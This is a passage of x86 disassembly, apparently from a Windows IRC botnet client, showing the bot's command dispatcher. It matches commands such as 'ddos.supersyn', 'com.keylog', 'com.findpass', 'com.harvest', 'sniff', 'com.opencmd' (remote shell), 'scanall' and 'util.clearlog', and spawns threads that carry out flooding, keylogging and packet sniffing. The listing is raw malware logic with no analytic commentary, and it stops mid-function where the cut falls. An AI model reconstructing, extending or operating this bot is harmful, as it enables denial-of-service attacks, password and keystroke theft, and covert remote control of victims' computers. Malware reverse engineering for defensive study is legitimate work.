loc_40E424:				; CODE XREF: sub_40D2E0+112Aj
		push	edi
		push	offset dword_42E05C
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E44D
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_42E050
		push	offset dword_42E044
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E44D:				; CODE XREF: sub_40D2E0+1153j
		push	edi
		push	offset dword_42E034
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E476
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_42E028
		push	offset dword_42E01C
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E476:				; CODE XREF: sub_40D2E0+117Cj
		push	edi
		push	offset dword_42E00C
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E49F
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_42E000
		push	offset dword_42DFF4
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E49F:				; CODE XREF: sub_40D2E0+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E4C8
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_42DFD8
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E4C8:				; CODE XREF: sub_40D2E0+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413041
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413041
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413029
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413029
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E545
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_42DF78
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E545:				; CODE XREF: sub_40D2E0+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E56E
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42DF50
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E56E:				; CODE XREF: sub_40D2E0+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E597
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E597:				; CODE XREF: sub_40D2E0+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413013
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413013
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FF2
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FF2
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FD0
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FD0
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F88
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F88
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F49
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F49
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F3D
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F3D
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E6E5
		call	sub_409266
		test	eax, eax
		mov	eax, offset dword_42DE78
		jnz	short loc_40E6B7
		mov	eax, offset dword_42DE44


loc_40E6B7:				; CODE XREF: sub_40D2E0+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 1Ch
		jmp	loc_40DC90
; ---------------------------------------------------------------------------


loc_40E6E5:				; CODE XREF: sub_40D2E0+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E4C
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E4C
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E2C
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E2C
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D39
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D39
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D20
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D20
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CEE
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CEE
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E8C7
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_416D30
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_416D30
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_416D30
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_42DD84
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_40E8B6


loc_40E8A0:				; CODE XREF: sub_40D2E0+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_412A7A
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_40E8A0
; ---------------------------------------------------------------------------


loc_40E8B6:				; CODE XREF: sub_40D2E0+15BEj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DD38
		jmp	loc_41206B
; ---------------------------------------------------------------------------


loc_40E8C7:				; CODE XREF: sub_40D2E0+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CC0
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CC0
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C86
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C86
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B7D
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B7D
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B5F
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B5F
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ADA
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ADA
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ABD
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ABD
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AA4
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AA4
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412A38
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412A38
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA40
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40EA40:				; CODE XREF: sub_40D2E0+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EACC
		cmp	[ebp+var_8], ebx
		jnz	short loc_40EA70
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h


loc_40EA70:				; CODE XREF: sub_40D2E0+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40EA75:				; CODE XREF: sub_40D2E0+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40EA81
		mov	eax, offset aEmpty ; "<Empty>"


loc_40EA81:				; CODE XREF: sub_40D2E0+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40EA75
		push	offset dword_42DC0C


loc_40EAC2:				; CODE XREF: sub_40D2E0+5C58j
		call	sub_40A5B3
		jmp	loc_4133B4
; ---------------------------------------------------------------------------


loc_40EACC:				; CODE XREF: sub_40D2E0+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129EF
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129EF
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C4
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129C4
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129A0
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129A0
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412963
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412963
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412812
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412812
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41269C
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41269C
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41255B
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41255B
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124B1
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124B1
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121B2
		push	edi
		push	offset aSa	; "sa"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121B2
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40D6A7
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412196
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412196
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412173
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412173
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412157
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412157
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41211D
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41211D
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41204B
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41204B
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FA0
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FA0
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F52
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F52
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F3D
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F3D
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F13
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F13
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EFA
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EFA
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E68
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E68
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E3C
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E3C
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DE1
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DE1
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DA6
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411DA6
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411CBC
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411CBC
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C9E
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C9E
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BBD
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BBD
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B82
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B82
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B37
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B37
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411AB1
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411AB1
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F13A
		push	edi
		push	offset aOn	; "on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F105
		push	19h
		call	sub_415174
		test	eax, eax
		pop	ecx
		jle	short loc_40F02F
		push	offset unk_42D93C
		jmp	loc_40F1A6
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40D2E0+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_40F071
		mov	esi, offset aF_2 ; "#f"
		push	offset byte_4325D8
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F071
		mov	esi, [ebp+var_8C]


loc_40F071:				; CODE XREF: sub_40D2E0+1D73j
					; sub_40D2E0+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_42D8FC
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_414F2C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_40F0F4


loc_40F0DE:				; CODE XREF: sub_40D2E0+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_40F2C5
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_40F0DE
; ---------------------------------------------------------------------------


loc_40F0F4:				; CODE XREF: sub_40D2E0+1DFCj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D8B0
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_40F105:				; CODE XREF: sub_40D2E0+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F2C5
		push	ebx
		push	19h
		call	sub_415127
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40F133
		push	eax
		push	offset unk_42D864
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_40F133:				; CODE XREF: sub_40D2E0+1E46j
		push	offset unk_42D82C
		jmp	short loc_40F1A6
; ---------------------------------------------------------------------------


loc_40F13A:				; CODE XREF: sub_40D2E0+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F2EF
		push	edi
		push	offset aOn	; "on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F1B9
		push	edi
		push	offset aFile	; "file"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F1B9
		push	edi
		push	offset aOff	; "off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F2C5
		push	ebx
		push	1Bh
		call	sub_415127
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40F1A1
		push	eax
		push	offset unk_42D7CC
		jmp	loc_40F2B6
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40D2E0+1EB4j
		push	offset unk_42D790


loc_40F1A6:				; CODE XREF: sub_40D2E0+1D4Aj
					; sub_40D2E0+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	loc_40F2C5
; ---------------------------------------------------------------------------


loc_40F1B9:				; CODE XREF: sub_40D2E0+1E80j
					; sub_40D2E0+1E91j
		push	1Bh
		call	sub_415174
		test	eax, eax
		pop	ecx
		jle	short loc_40F1CC
		push	offset unk_42D760
		jmp	short loc_40F1A6
; ---------------------------------------------------------------------------


loc_40F1CC:				; CODE XREF: sub_40D2E0+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FB
		mov	[ebp+var_464], 1
		jmp	short loc_40F204
; ---------------------------------------------------------------------------


loc_40F1FB:				; CODE XREF: sub_40D2E0+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax


loc_40F204:				; CODE XREF: sub_40D2E0+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_40F22B
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_4325D8
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F22B
		mov	esi, [ebp+var_8C]


loc_40F22B:				; CODE XREF: sub_40D2E0+1F2Dj
					; sub_40D2E0+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_42D730
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_414F2C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_40F2AA


loc_40F298:				; CODE XREF: sub_40D2E0+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_40F2C5
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_40F298
; ---------------------------------------------------------------------------


loc_40F2AA:				; CODE XREF: sub_40D2E0+1FB6j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D6E4


loc_40F2B6:				; CODE XREF: sub_40D2E0+1E20j
					; sub_40D2E0+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch


